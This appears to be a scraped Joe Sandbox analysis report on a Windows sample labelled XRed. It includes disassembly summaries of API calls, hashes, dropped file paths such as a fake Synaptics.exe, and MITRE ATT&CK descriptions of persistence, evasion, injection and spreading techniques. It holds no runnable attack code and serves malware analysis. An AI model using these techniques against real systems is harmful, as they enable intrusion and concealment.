SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 0100182B
MessageBeep.USER32(000000FF), ref: 01001833

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 52c35957c5d6308ac9e5b8dfae4ee701d5fa30329f22752cf5df4afad45c4fb5
Instruction ID: dbb55cd7090eff77bfa65d7c4eba401a97cfafb7d2c079e3b47d5aa362050595
Opcode Fuzzy Hash: 52c35957c5d6308ac9e5b8dfae4ee701d5fa30329f22752cf5df4afad45c4fb5
Instruction Fuzzy Hash: D601283140024AABFB265FA4DC4CAEA3AB8BB04745F044564BAA9950E5CBB9CB51CB91

Function 010041CD Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 203windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,DirectX 9.0 Web setup), ref: 010041E9
MessageBeep.USER32(00000000), ref: 010043C0
MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,?), ref: 01004439

Strings

DirectX 9.0 Web setup, xrefs: 010041D8, 01004431, 01004460

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Message$BeepVersion
String ID: DirectX 9.0 Web setup
API String ID: 2519184315-3102400635
Opcode ID: b07f304ec63bc814189986a0719c39693d795c7fab61f747b2dc9ea387807f31
Instruction ID: 4e04eab14abf842a0a3c42a681093732e4e7dc93d7d51bc9d8c979872b2e196d
Opcode Fuzzy Hash: b07f304ec63bc814189986a0719c39693d795c7fab61f747b2dc9ea387807f31
Instruction Fuzzy Hash: A971DB30A04209DBEB77DF68DA40BAD7BE9FB44304F11806AEBD1C61E5DB76A045CB58

Function 01002E6F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 01002E89
LoadResource.KERNEL32(00000000,00000000,?,010059A0), ref: 01002E92
LockResource.KERNEL32(00000000,?,010059A0), ref: 01002E99

Strings

CABINET, xrefs: 01002E74, 01002E79, 01002E81

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$Find$LoadLock$Sizeof
String ID: CABINET
API String ID: 1933721802-1940454314
Opcode ID: fee46d4037bcf492714a1928356b3615369b2f8f05e7677fcc6bc0c80cc05536
Instruction ID: f41c840c6a8244764c1701102c9fef1f774684e0028f7af970c8500be1e35917
Opcode Fuzzy Hash: fee46d4037bcf492714a1928356b3615369b2f8f05e7677fcc6bc0c80cc05536
Instruction Fuzzy Hash: 3EE08C71B42310ABE326ABB1AC1DB8B3A58AB19751F000416F286DA0C4CBBA84008791

Function 01003A7A Relevance: 6.3, APIs: 5, Instructions: 51memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,?,010049BE,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01003A87
lstrlenA.KERNEL32(00000000,?,00000000,?,010049BE,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01003AAC
LocalAlloc.KERNEL32(00000040,00000001,?,00000000,?,010049BE,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01003AB6
LocalFree.KERNEL32(00000000,000004B5,00000000,00000000,00000010,00000000,?,00000000,?,010049BE,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01003AD4

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

lstrcpyA.KERNEL32(00000000,00000000,?,00000000,?,010049BE,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01003AE3

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Local$Alloc$FreeMessagelstrcpylstrlen
String ID:
API String ID: 3247521446-0
Opcode ID: 1c252e24ed27c8a3c89f68d47637d6c558a56de84ee84e0859bd78fbfeca7fcd
Instruction ID: be99e61ba3297938531ad782b9381de073ce5d9bd08aee7874bfad80a1221b46
Opcode Fuzzy Hash: 1c252e24ed27c8a3c89f68d47637d6c558a56de84ee84e0859bd78fbfeca7fcd
Instruction Fuzzy Hash: FB015EB1740305AFE3239F649C85E6A76ACFB55755F014425F3C5A6084D6BA88508B24

Function 0100288F Relevance: 6.1, APIs: 4, Instructions: 52windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 010028B3
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010028C5
DispatchMessageA.USER32(?), ref: 010028DA
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010028E8

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: a56fe23e79c58ba78c4517e1b38a4719a0d3d39021dba4458620cccc97c02652
Instruction ID: 9019c9b4a7aa9e97d921e157395a9add37c16d99774a71cba0f29cd9f7e0b4b7
Opcode Fuzzy Hash: a56fe23e79c58ba78c4517e1b38a4719a0d3d39021dba4458620cccc97c02652
Instruction Fuzzy Hash: E1012176D01219BABF218A999D48CEB7ABCEA85654F14016ABA41E2084E634D600C771

Function 01005A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 01005A65
GetStartupInfoA.KERNEL32(?), ref: 01005AA4
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,0000000A), ref: 01005ABF
ExitProcess.KERNEL32 ref: 01005ACC

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: 2f495b8465459854e2a67ff318fe6398d5d3dc67db26c03b0204fa68f66db23f
Instruction ID: 3b7e2d213fbb4e8bb4e10cefaec2fc303bbd8eb181140a99f14634f11779781f
Opcode Fuzzy Hash: 2f495b8465459854e2a67ff318fe6398d5d3dc67db26c03b0204fa68f66db23f
Instruction Fuzzy Hash: 07017C718043995AFB734BAC8C897FA7BE89F1B211F2404C5E9C1922C6C66884C28BA5

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_9db0888f-550c-4bbd-b29b-383bae563cab\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_be67666fe4818bfe38cb6737915ef984fc566b64_455b7b6e_7651781a-e0f4-4624-a8b0-6896943db491\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1441.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1655.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E3.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB846.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE49.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE69.tmp.xml

C:\ProgramData\Synaptics\RCX8506.tmp

C:\ProgramData\Synaptics\Synaptics.exe

Windows Analysis Report
file.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre